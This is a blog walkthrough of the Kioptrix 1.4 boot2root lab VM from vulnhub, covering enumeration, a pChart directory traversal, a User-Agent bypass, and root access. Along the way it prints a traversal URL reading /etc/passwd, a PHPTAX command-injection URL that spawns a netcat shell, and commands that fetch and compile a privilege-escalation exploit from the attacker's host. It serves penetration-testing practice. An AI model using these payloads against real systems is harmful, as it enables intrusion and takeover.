Skip to content

Kioptrix 1.4 (VM 5) Walkthrough

This evening I am finally catching up on write-ups of the Virtual Machine penetration testing (and subsequent pwnage) I have been working on. This is the second one I finished up and got ready to share, in case anyone finds it useful. The Kioptrix series of VMs are available on vulnhub.com, and you can download them to practice your hacking skills with at any time, for free.

Having already conquered the preceding 4 Kioptrix VMs, I started this one a while ago, but I hadn’t circled back to finish it. I figured it was time to complete the last of the Kioptrix boot2root challenges. This one was difficult!

Enumeration

netdiscover turned up 192.168.0.196 as the IP for this target VM.

#> nmap -v -sS -A -T4 192.168.0.196
 22/tcp closed ssh
 80/tcp open http Apache httpd 2.2.21 ((FreeBSD) mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8)
 | http-methods:
 |_ Supported Methods: GET
 8080/tcp open http Apache httpd 2.2.21 ((FreeBSD) mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8)
 |_http-title: 403 Forbidden

On port 80, just a default Apache “It works!” message, and 8080 is a forbidden 403 message. Worth noting that for later.

nikto

nikto -host 192.168.0.196
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 192.168.0.196
+ Target Hostname: 192.168.0.196
+ Target Port: 80
+ Start Time: 2017-02-14 21:01:40 (GMT-5)
---------------------------------------------------------------------------
+ Server: Apache/2.2.21 (FreeBSD) mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8
+ Server leaks inodes via ETags, header found with file /, inode: 67014, size: 152, mtime: Sat Mar 29 13:22:52 2014
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ mod_ssl/2.2.21 appears to be outdated (current is at least 2.8.31) (may depend on server version)
+ PHP/5.3.8 appears to be outdated (current is at least 5.6.9). PHP 5.5.25 and 5.4.41 are also current.
+ OpenSSL/0.9.8q a ppears to be outdated (current is at least 1.0.1j). OpenSSL 1.0.0o and 0.9.8zc are also current.
+ Apache/2.2.21 appears to be outdated (current is at least Apache/2.4.12). Apache 2.0.65 (final release) and 2.2.29 are also current.
+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS, TRACE
+ OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST
+ mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8 - mod_ssl 2.8.7 and lower are vulnerable to a remote buffer overflow which may allow a remote shell. http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0082, OSVDB-756.
+ 8345 requests: 0 error(s) and 11 item(s) reported on remote host
+ End Time: 2017-02-14 21:02:52 (GMT-5) (72 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

Summary of Interesting finds:
OpenSSL exploit
Older Apache
Older PHP

Finding Directories

dirb

Turned up index.html (nothing new) and cgi-bin. Blah.

dirsearch

Tried various wordlists. Nothing turned up with this either.

mod_ssl vulnerability

Nikto did mention this vulnerability, so I took a deeper dive:

+ mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8 - mod_ssl 2.8.7 and lower are
vulnerable to a remote buffer overflow which may allow a remote shell. 
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0082, OSVDB-756.

This is that same old OpenFuck vuln I ran into in Kioptrix 1.1. I was unable to get it to compile then, so I didn’t feel like wasting time on it now.

Source Code to a PHP app

Failing to ever look at the source code of the Apache “It Works!” default page, I kicked myself when I realized I hadn’t done that. In the source code was a handy comment:

<!–
<META HTTP-EQUIV=”refresh” CONTENT=”5;URL=pChart2.1.3/index.php”>
–>

Appending pChart2.1.3/index.php to the URL got me to some crappy PHP app:

http://192.168.0.196/pChart2.1.3/examples/index.php

The app looks like it would have a load of issues based on what it does and how it does it. An Exploit DB search reveals it does:

https://www.exploit-db.com/exploits/31173/

Directory Traversal sounds useful!

Using the exploit at Exploit DB, I found /etc/passwd:

http://192.168.0.196/pChart2.1.3/examples/index.php?Action=View&Script=%2f..%2f..%2fetc/passwd

#&nbsp;$FreeBSD:&nbsp;release/9.0.0/etc/master.passwd&nbsp;218047&nbsp;2011-01-28&nbsp;22:29:38Z&nbsp;pjd&nbsp;$
#
root:*:0:0:Charlie&nbsp;&:/root:/bin/csh
toor:*:0:0:Bourne-again&nbsp;Superuser:/root:
daemon:*:1:1:Owner&nbsp;of&nbsp;many&nbsp;system&nbsp;processes:/root:/usr/sbin/nologin
operator:*:2:5:System&nbsp;&:/:/usr/sbin/nologin
bin:*:3:7:Binaries&nbsp;Commands&nbsp;and&nbsp;Source:/:/usr/sbin/nologin
tty:*:4:65533:Tty&nbsp;Sandbox:/:/usr/sbin/nologin
kmem:*:5:65533:KMem&nbsp;Sandbox:/:/usr/sbin/nologin
games:*:7:13:Games&nbsp;pseudo-user:/usr/games:/usr/sbin/nologin
news:*:8:8:News&nbsp;Subsystem:/:/usr/sbin/nologin
man:*:9:9:Mister&nbsp;Man&nbsp;Pages:/usr/share/man:/usr/sbin/nologin
sshd:*:22:22:Secure&nbsp;Shell&nbsp;Daemon:/var/empty:/usr/sbin/nologin
smmsp:*:25:25:Sendmail&nbsp;Submission&nbsp;User:/var/spool/clientmqueue:/usr/sbin/nologin
mailnull:*:26:26:Sendmail&nbsp;Default&nbsp;User:/var/spool/mqueue:/usr/sbin/nologin
bind:*:53:53:Bind&nbsp;Sandbox:/:/usr/sbin/nologin
proxy:*:62:62:Packet&nbsp;Filter&nbsp;pseudo-user:/nonexistent:/usr/sbin/nologin
_pflogd:*:64:64:pflogd&nbsp;privsep&nbsp;user:/var/empty:/usr/sbin/nologin
_dhcp:*:65:65:dhcp&nbsp;programs:/var/empty:/usr/sbin/nologin
uucp:*:66:66:UUCP&nbsp;pseudo-user:/var/spool/uucppublic:/usr/local/libexec/uucp/uucico
pop:*:68:6:Post&nbsp;Office&nbsp;Owner:/nonexistent:/usr/sbin/nologin
www:*:80:80:World&nbsp;Wide&nbsp;Web&nbsp;Owner:/nonexistent:/usr/sbin/nologin
hast:*:845:845:HAST&nbsp;unprivileged&nbsp;user:/var/empty:/usr/sbin/nologin
nobody:*:65534:65534:Unprivileged&nbsp;user:/nonexistent:/usr/sbin/nologin
mysql:*:88:88:MySQL&nbsp;Daemon:/var/db/mysql:/usr/sbin/nologin
ossec:*:1001:1001:User&nbsp;&:/usr/local/ossec-hids:/sbin/nologin
ossecm:*:1002:1001:User&nbsp;&:/usr/local/ossec-hids:/sbin/nologin
ossecr:*:1003:1001:User&nbsp;&:/usr/local/ossec-hids:/sbin/nologin

Poking Around

I was unable to turn up anything useful in any of the /etc directory files I was able to look at. I started looking up the locations of things in freebsd, since they were likely different than most Linux distros I am used to.

That said, I thought that the Apache config file would be a good place to start, as it might illumincate additional info such as usernames, or locations of password files. I might also find out if anything else is hidden on the website.

According to this page https://www.freebsd.org/doc/handbook/network-apache.html the httpd.conf file is here:
/usr/local/etc/apache2x/httpd.conf

I had to figure out that the x in that path should be a 2, since this server is running Apache 2.2

So that worked:

So what was relevant in the httpd.conf file?

Listen 80
Listen 8080

I already knew 80 was listening, and 8080 was reported as open but returning a 403 when trying to visit it in a web browser.

DocumentRoot “/usr/local/www/apache22/data”

That’s where files are served from in Apache on freebsd, apparently.

This VirtualHost section looked interesting, as it explained the 403 errors I was getting when visiting the :8080 port
:

SetEnvIf User-Agent ^Mozilla/4.0 Mozilla4_browser

<VirtualHost *:8080>
DocumentRoot /usr/local/www/apache22/data2

<Directory “/usr/local/www/apache22/data2”>
Options Indexes FollowSymLinks
AllowOverride All
Order allow,deny
Allow from env=Mozilla4_browser
</Directory>

So the :8080 virtual host is guarded by requiring a specific browser User-Agent string. Time to install User Agent Switcher add-on for Firefox. I prefer the one by Chris Pederick.

A Mozilla 4.0 browser is actually Internet Explorer 6, so I set my User Agent to be IE6, then I was able to get to the :8080 page:

Clicking that led me to yet another crappy PHP app!

Attacking the PHPTAX app

This app smelled like it was choc-full of fun exploits. A quick Google search revealed exactly that.

https://www.exploit-db.com/exploits/21665/

This will start a netcat reverse shell by injecting the command via the URL:

http://192.168.0.196/phptax/index.php?pfilez=1040d1-pg2.tob;nc%20-l%20-v%20-p%2023235%20-e%20/bin/bash;&pdf=make

Trying to set up a netcat listener using various methods wasn’t working. I tried various ports and different things from the exploit-db entry (the other URL they mentioned), but had no luck.

Was there already an exploit in Metasploit?

That would be a “yes.” I thought doing it by hand would be more noble and educational, but alas, that proved to be untrue. Except that I learned I was down a rabbit hole. Off to metasploit I went…

That worked pretty well, and I found myself with a command shell.

Looks like I was the www user/group. I set out to escalate them privileges. Looking around for quite some time, I didn’t find anything too great. So I started with looking into OS/Kernel vulnerabilities.

uname -a
FreeBSD kioptrix2014 9.0-RELEASE FreeBSD 9.0-RELEASE #0: Tue Jan 3 07:46:30 UTC 2012 root@farrell.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC amd64

FreeBSD 9.0 seemed pretty old. A couple of promising leads turned up when looking for exploits:

Privilege Escalation

So I had 2 exploits to work with, just needed a place I could write files. Turns out the original web directory I was in when I got the reverse shell was perfect:

/usr/local/www/apache22/data2/phptax

touch me
cat me

Next, I needed to get the exploit file over to the target machine. I wasn’t sure how to do this, so I Googled it. This helped: https://netsec.ws/?p=292. Or so I thought. I couldn’t get it transferred with netcat and I’m still not sure why.

More Googling led me to ‘fetch’ which is installed on the FreeBSD machine.

So I set up a quick web server to serve up the exploit file from my Kali box using Python. From the directory where the exploit file (26368.c) resides:

python -m SimpleHTTPServer 80

Then from the reverse shell on the target machine, fetch the file:

fetch http://192.168.0.147/26368.c

Compile that sucker:

gcc 26368.c

Then run it:

./a.out

ROOT!

And the flag is in /root/congrats.txt

You should read the congrats.txt file and look into what it says, if you made it this far. There are some opportunities to learn about what you just did in there!

Published inctfHackingOSCPPentestingSecurity

Be First to Comment

Leave a Reply

Your email address will not be published. Required fields are marked *